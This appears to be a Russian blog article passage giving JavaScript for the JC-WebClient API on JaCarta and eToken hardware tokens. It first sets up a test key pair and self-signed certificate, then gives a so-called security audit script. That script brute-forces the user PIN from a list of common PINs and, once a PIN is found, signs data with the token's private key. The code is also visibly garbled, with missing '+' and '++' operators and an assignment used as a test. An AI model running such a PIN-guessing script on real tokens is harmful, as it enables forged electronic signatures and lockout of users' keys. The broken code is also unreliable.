Использовать можно EToken PRO Java 72 K, JaCarta ГОСТ, JaCarta ГОСТ-2. Токен должен быть предварительно инициализирован с пин кодом пользователя 111111.

Перед началом тестирования необходимо установить JC-WebClient версии не ниже 4.

//Инициализация JCWebClient2
JCWebClient2.initialize();
document.write("JC-WebClient был успешно инициализирован" "
");
//Получаем версию JCWebClient2
var vers=JCWebClient2.getJCWebClientVersion();
document.write("Версия JCWebClient2 "   vers  "
");
//Получаем доступ к слотам и определяем число подключенных токенов
var slots = JCWebClient2.getAllSlots();
document.write("Подключено токенов: " slots.length "
");
//Выводим модель токенов
for (i = 0; i < slots.length; i  ) {
var slot = slots[i];
document.write("Токен: " slot.device.name " " slot.device.model "
");
}
var tokenID = slot.id,        // Идентификатор токена
userPin = '111111'; // PIN-код пользователя
// Проверить текущее состояние аутентификации на токене
// (должно равняться JCWebClient2.Vars.AuthState.notBinded)
var tokenState = JCWebClient2.getLoggedInState();
document.write('1) Token is binded: '   (tokenState.state == JCWebClient2.Vars.AuthState.binded) "
");
// Предъявить PIN-код
JCWebClient2.bindToken({
args: {
tokenID: tokenID,
pin: userPin
}
});
// Проверить изменившееся состояние
// (должно равняться JCWebClient2.Vars.AuthState.binded)
tokenState = JCWebClient2.getLoggedInState();
document.write('2) Token is binded: '   (tokenState.state == JCWebClient2.Vars.AuthState.binded) "
");
// Создать контейнер с ключевой парой и присвоить ему имя
var keyPairID = JCWebClient2.createKeyPair({
args: {
paramSet: "XA",
description: "my description",
algorithm: JCWebClient2.Vars.KeyAlgorithm.GOST_2022_256
}
});
// Задать отличительное имя пользователя (Distinguished Name (DN)),
// включающее стандартное имя (Common Name, (CN))
var dn = {
'CN': '123',
'C': 'RU'
};
// Задать расширения, определяющие область применения закрытого ключа
var exts = {
'keyUsage': 'Digital Signature'
};
// Записать сертификат
var contID = JCWebClient2.generateUserSelfSignedCertificate({
args: {
keyPairID: keyPairID,
dn: dn,
exts: exts,
days: 365
}
});
//Массив информации на токенах
var list=[]; 
//Получаем список контейнеров
list = JCWebClient2.getContainerList({
args: {
tokenID: tokenID
}
});
//Получаем id и информацию о созданном контейнере
var data = list[0];
var contID = data.id;
document.write("ID контейнера: " data.id " 
");
document.write("Описание контейнера: " data.description " 
");
document.write("Алгоритм подписи: " data.algorithm " 
");
// Отменить ввод PIN-кода
JCWebClient2.unbindToken();

И собственно сам скрипт аудита безопасности:

//Инициализация JCWebClient2
JCWebClient2.initialize();
document.write("JC-WebClient был успешно инициализирован" "
");
//Получаем версию JCWebClient2
var vers=JCWebClient2.getJCWebClientVersion();
document.write("Версия JCWebClient2 "   vers  "
");
//Получаем доступ к слотам и определяем число подключенных токенов
var slots = JCWebClient2.getAllSlots();
document.write("Подключено токенов: " slots.length "
");
//Выводим модель токенов
for (i = 0; i < slots.length; i  ) {
var slot = slots[i];
document.write("Токен: " slot.device.name " " slot.device.model "
");
}
// Идентификатор токена
var tokenID = slot.id;        
// Проверить текущее состояние аутентификации на токене
// (должно равняться JCWebClient2.Vars.AuthState.notBinded)
var tokenState = JCWebClient2.getLoggedInState();
document.write('Token is binded: '   (tokenState.state == JCWebClient2.Vars.AuthState.binded) "
");
//Массив информации на токенах
var list=[]; 
//Получаем список контейнеров
list = JCWebClient2.getContainerList({
args: {
tokenID: tokenID
}
});
//Получаем id и информацию о контейнере
var data = list[0];
var contID = data.id;
document.write("ID контейнера: " data.id " 
");
document.write("Описание контейнера: " data.description " 
");
document.write("Алгоритм подписи: " data.algorithm " 
");
// Данные для подписи (Hello World закодированное Base64)
var dataToSign = 'SGVsbG8sIFdvcmxkIQ=='; 
document.write("Данные для подписи: " dataToSign " 
");
//Массив пин кодов 
var pin=["1234567890", "123456", "1234567", "12345678", "123456789", "0987654321", "111111", "qwerty", "012345", "0123456", "01234567"];
//функция авторизации
function bind(pass)
{
JCWebClient2.bindToken({
args: {
tokenID: tokenID,
pin: pass
}
});
}
var i=0;
//Перебор пин кодов в цикле
//Осторожно! При 10 неверных попытках токен блокируется!!!!!!!!!!
while (i < 10) {
i  ;
try{
bind(pin[i]);
tokenState = JCWebClient2.getLoggedInState();
//Если атака удалась, выводим результат и завершаем цикл
if(tokenState.state=1) 
{
document.write("Успешно подобран пин код: " pin[i] "
");
break;
}
}
//Вывод информации об ошибке
catch(e){document.write(e "
");}
}
// Проверить изменившееся состояние
// (должно равняться JCWebClient2.Vars.AuthState.binded)
tokenState = JCWebClient2.getLoggedInState();
document.write('Token is binded: '   (tokenState.state == JCWebClient2.Vars.AuthState.binded) "
");
//Получаем содерижимое сертификата
var CertificateBody=JCWebClient2.getCertificateBody({
args: {
id: contID      
}
});
document.write("CertificateBody:  " CertificateBody "
");
// Подписать данные, используя программное хэширование и вывести подписанное в Base64
var signedData = JCWebClient2.signBase64EncodedData({
args: {
contID: contID,
data: dataToSign,
attachedSignature: true
}
});
document.write("Подписано успешно. 
");
document.write("Подписанные данные: " signedData " 
");
//Проверка подписи
var signature = signedData;
var res = JCWebClient2.verifyBase64EncodedData({
args: {
signature: signature
}
});
document.write("Результат проверки подписи: " res " 
");
// Отменить ввод PIN-кода
JCWebClient2.unbindToken();

Источник информации по API JC-WebClient

Оцените статью
ЭЦП Эксперт
Добавить комментарий

Adblock
detector